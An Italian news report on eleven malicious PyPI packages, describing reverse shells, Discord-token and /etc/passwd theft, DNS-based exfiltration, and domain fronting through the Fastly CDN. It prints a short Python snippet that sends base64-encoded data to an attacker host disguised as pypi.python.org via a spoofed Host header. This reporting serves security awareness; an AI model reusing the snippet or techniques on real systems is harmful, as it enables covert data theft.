Nel catalogo PyPI sono state identificate librerie dannose che utilizzano il CDN PyPI per nascondere il canale di comunicazione

Nella directory PyPI (Python Package Index) sono stati identificati 11 pacchetti contenenti codice dannoso. Prima che venissero identificati i problemi, i pacchetti erano stati scaricati complessivamente circa 38mila volte. I pacchetti dannosi rilevati si distinguono per l’utilizzo di metodi sofisticati per nascondere i canali di comunicazione con i server degli aggressori.

  • importantpackage (6305 download), important-package (12897) - ha stabilito una connessione a un server esterno con il pretesto di connettersi a pypi.python.org per fornire l'accesso shell al sistema (shell inversa) e ha utilizzato il programma trevorc2 per nascondere il canale di comunicazione.
  • pptest (10001), ipboards (946) - utilizzava il DNS come canale di comunicazione per trasmettere informazioni sul sistema (nel primo pacchetto il nome host, directory di lavoro, IP interno ed esterno, nel secondo - nome utente e nome host) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - hanno identificato il token del servizio Discord nel sistema e lo hanno inviato a un host esterno.
  • trrfab (287) - invia l'identificatore, il nome host e il contenuto di /etc/passwd, /etc/hosts, /home all'host esterno.
  • 10Cent10 (490) - ha stabilito una connessione shell inversa con un host esterno.
  • yandex-yt (4183) - mostrava un messaggio relativo al sistema compromesso e reindirizzava a una pagina con informazioni aggiuntive su ulteriori azioni emesse tramite nda.ya.ru (api.ya.cc).

Di particolare rilievo è il metodo di accesso agli host esterni utilizzato nei pacchetti importantpackage e important-package, che utilizzavano la rete di distribuzione dei contenuti Fastly utilizzata nella directory PyPI per nascondere la propria attività. Infatti, le richieste venivano inviate al server pypi.python.org (inclusa la specifica del nome python.org in SNI all'interno della richiesta HTTPS), ma l'intestazione “Host” HTTP includeva il nome del server controllato dagli aggressori (sec. forward.io.global.prod.fastly.net). La rete di distribuzione dei contenuti ha inviato una richiesta simile al server attaccante, utilizzando i parametri della connessione TLS a pypi.python.org durante la trasmissione dei dati.

L'infrastruttura PyPI è alimentata dalla rete di distribuzione dei contenuti Fastly, che utilizza il proxy trasparente Varnish per memorizzare nella cache le richieste tipiche e utilizza anche l'elaborazione dei certificati TLS a livello CDN, anziché sui server finali, per inoltrare le richieste HTTPS tramite un proxy. Indipendentemente dall'host di destinazione, le richieste vengono inviate al proxy, che determina l'host desiderato utilizzando l'intestazione HTTP "Host", e i nomi di dominio host sono legati agli indirizzi IP del bilanciatore di carico CDN tipici di tutti i client Fastly.

Il server degli aggressori si registra anche su CDN Fastly, che offre piani gratuiti a tutti e consente anche la registrazione anonima. È interessante notare che per inviare richieste alla vittima durante la creazione di una "shell inversa", viene utilizzato anche uno schema, ma avviato dal lato dell'host dell'aggressore. Dall’esterno, l’interazione con il server degli aggressori sembra una sessione legittima con la directory PyPI, crittografata utilizzando un certificato TLS PyPI. Una tecnica simile, nota come "domain fronting", veniva precedentemente utilizzata attivamente per nascondere il nome dell'host durante l'elusione del blocco, sfruttando la possibilità prevista in alcune reti CDN di accedere a HTTPS indicando un host fittizio nell'SNI e trasmettendo effettivamente il nome dell'host host richiesto nell'intestazione Host HTTP all'interno di una sessione TLS.

Nel catalogo PyPI sono state identificate librerie dannose che utilizzano il CDN PyPI per nascondere il canale di comunicazione

Per nascondere attività dannose, è stato inoltre utilizzato il pacchetto TrevorC2 per rendere l'interazione con il server simile alla normale navigazione web, ad esempio sono state inviate richieste dannose con il pretesto di scaricare l'immagine “https://pypi.python.org/images/ guid=" con la codifica delle informazioni nel parametro guid. url = "https://pypi.python.org" + "/immagini" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

I pacchetti pptest e ipboards utilizzavano un approccio diverso per nascondere l'attività di rete, basato sulla codifica di informazioni utili nelle query al server DNS. Il malware trasmette informazioni eseguendo richieste DNS come "nu4timjagq4fimbuhe.example.com", in cui i dati trasmessi al server di controllo vengono codificati utilizzando il formato base64 nel nome del sottodominio. L'aggressore riceve questi messaggi controllando il server DNS per il dominio example.com.

Fonte: opennet.ru

Aggiungi un commento